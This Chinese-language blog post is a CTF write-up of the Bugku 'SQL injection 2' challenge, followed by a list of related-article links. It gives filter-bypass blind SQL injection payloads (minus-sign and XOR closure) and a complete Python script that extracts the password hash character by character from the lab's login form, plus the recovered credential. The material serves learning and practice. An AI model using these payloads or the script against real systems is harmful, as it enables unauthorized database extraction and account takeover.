网络安全初学者,欢迎评论交流学习,若内容中有错误欢迎各位指正。

题目地址:http://123.206.87.240:8007/web2/

题目提示:都过滤了绝望吗?,提示 !,!=,=,+,-,^,%

用burpsuit抓包,再进行fuzz(模糊测试),用字典跑看usename的参数过滤了哪些关键词,其中数值为367的为没有被过滤的,数值为370的是被过滤的。
 
 
然后就一直被卡在这里,没发现报错,也不知道怎么闭合,在网上看看看wp,有几种解题方式,自认为写的较为合理的为一叶飘零师傅的方法。
关键sql语句:select * from users where name=0 ,会输出所有语句

 
 减号没有被过滤,于是想到利用减号闭合,
在运算的时候,字符串‘admin’转换成0
 
admin'-1-' 等于-1
admin'-0-' 等于0
 
 
 
 
 
admin'-0-'的时候为显示password error,说明条件为真,admin'-1-'时候为username error,为false,猜测后台构造为:
$sql = select * from users where username=$username;当传入admin'-0-'时sql语句为:select * from users where username=0,正常查询返回所有值。
当传入admin'-1-'时SQL语句为select * from users where username=-1,报错
 
 
构造SQL语句:
取字段中的值进行查询
mid((‘passwd’)from(-1)):d 这时需要取反
 
查询admin中第一个字符a的ascii码
select ascii(mid(('admin')from(1))); 取ASCII码的值时此时又不需要取反了,所以到这一步可以省掉一个REVERSE()函数
 
脚本编写:
从passwd字段中查询逐个查询字段值的ASCII码值判断,字段值范围缩小到了md5值的范围,i= (1.33)j in '0123456789abcdef'
passwd字段是一叶飘零师傅猜的:
 
payload:

 admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'

若ascii(MID((passwd)from("1")))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin'-1-' 和 admin'-0-' 形式

通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
编写脚本如下:
#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
} password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': ''
}
r = requests.post(url=url,cookies=cookie,data=data)
#print r.content
if "username error!!@_@" in r.content:
password += j
print password
break
运行结果:0192023a7bbd73250516f069df18b500,解md5为 admin123
创新方法,使用异或^也能做
提示中也没有过滤异或符号^,联系到刚学的异或注入方法,构造admin^1=0^1=1型式,则0^(ascii(MID(('admin')from("1")))="97") 等价于 0^1=1
 
 
payload可以改成:
0'^(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")^'
拿到密码进去后根据其实输入ls即可得到flag
 
其它解题的方法:dirsearch+ds_store,
 flag就放在当前目录???,菜鸡打扰了!
 
存在文件flag-1,记事本打开即可

Bugku SQL注入2的思考的更多相关文章

  1. http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)

    Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...

  2. 从orderby引发的SQL注入问题的思考

    背景: 某一天准备上线,合完master之后准备发布了,忽然公司的代码安全监测提示了可能在代码中存在sql注入的风险,遂即检查,发现sql注入问题 既然碰到了这个问题,那就了简单了解下sql注入 基础 ...

  3. 【实战】某项目SQL注入引发的思考

    数据包: 测试参数:username,测试payload: ' ' or '1'='1 ' or '1'='2 响应结果都未发生任何变化,借助sqlmap测试,结果一样: 尝试在or前面进行简单的fu ...

  4. bugku | sql注入2

    http://123.206.87.240:8007/web2/ 全都tm过滤了绝望吗? 提示 !,!=,=,+,-,^,% uname=admin&passwd=1' and '1 : 一个 ...

  5. 转:PHP中防止SQL注入的方法

    [一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...

  6. php防止SQL注入详解及防范

    SQL 注入是PHP应用中最常见的漏洞之一.事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义( ...

  7. php防止sql注入的方法(转)

    [一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...

  8. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  9. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

随机推荐

  1. 转:int整数除以int整数一定得到的是int整数(易忽视)

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明.本文链接:https://blog.csdn.net/u014053368/article/de ...

  2. python2.x和python3.x版本共存时选择启动的版本

    在windows环境下装好python2.7和python3.6之后,我之前一直是用了很笨的办法去区分版本 那就是把各个版本python安装目录下的python.exe分别改为python2.exe和 ...

  3. 整理总结 python 中时间日期类数据处理与类型转换(含 pandas)

    我自学 python 编程并付诸实战,迄今三个月. pandas可能是我最高频使用的库,基于它的易学.实用,我也非常建议朋友们去尝试它.--尤其当你本身不是程序员,但多少跟表格或数据打点交道时,pan ...

  4. 动态set mybatis与ibatis的写法

    mybatis: <set> <if test="obj.buyerId != null"> buyerId = #{obj.buyerId}, </ ...

  5. Nepxion Discovery【探索】微服务企业级解决方案

    Nepxion Discovery[探索]微服务企业级解决方案] Nepxion Discovery[探索]使用指南,基于Spring Cloud Greenwich版.Finchley版和Hoxto ...

  6. ELK 学习笔记之 Logstash基本语法

    Logstash基本语法: 处理输入的input 处理过滤的filter 处理输出的output 区域 数据类型 条件判断 字段引用 区域: Logstash中,是用{}来定义区域 区域内,可以定义插 ...

  7. Scala 学习笔记之集合(7) Option

    object CollectionDemo8 { def main(args: Array[String]): Unit = { //Option集合的使用,可以用来安全的判断null或非null,放 ...

  8. git checkout 提示 “error: The following untracked working tree files would be overwritten by checkout” 解决

    问题描述 Windows 或者 macOS 操作系统中,文件名是不区分大小写的.对于已经提交到仓库中的文件修改文件名的大小写,然后又用 git rm 命令将老文件从 Git 仓库删除掉,并保存下新的文 ...

  9. SpringBootSecurity学习(19)前后端分离版之OAuth2.0 token的存储和管理

    内存中存储token 我们来继续授权服务代码的下一个优化.现在授权服务中,token的存储是存储在内存中的,我们使用的是 InMemoryTokenStore : 图中的tokenStore方法支持很 ...

  10. 开发一个带UI的库(asp.net core 3.0)

    在GitHub上有个项目,本来是作为自己研究学习.net core的Demo,没想到很多同学在看,还给了很多星,所以觉得应该升成3.0,整理一下,写成博分享给学习.net core的同学们. 项目名称 ...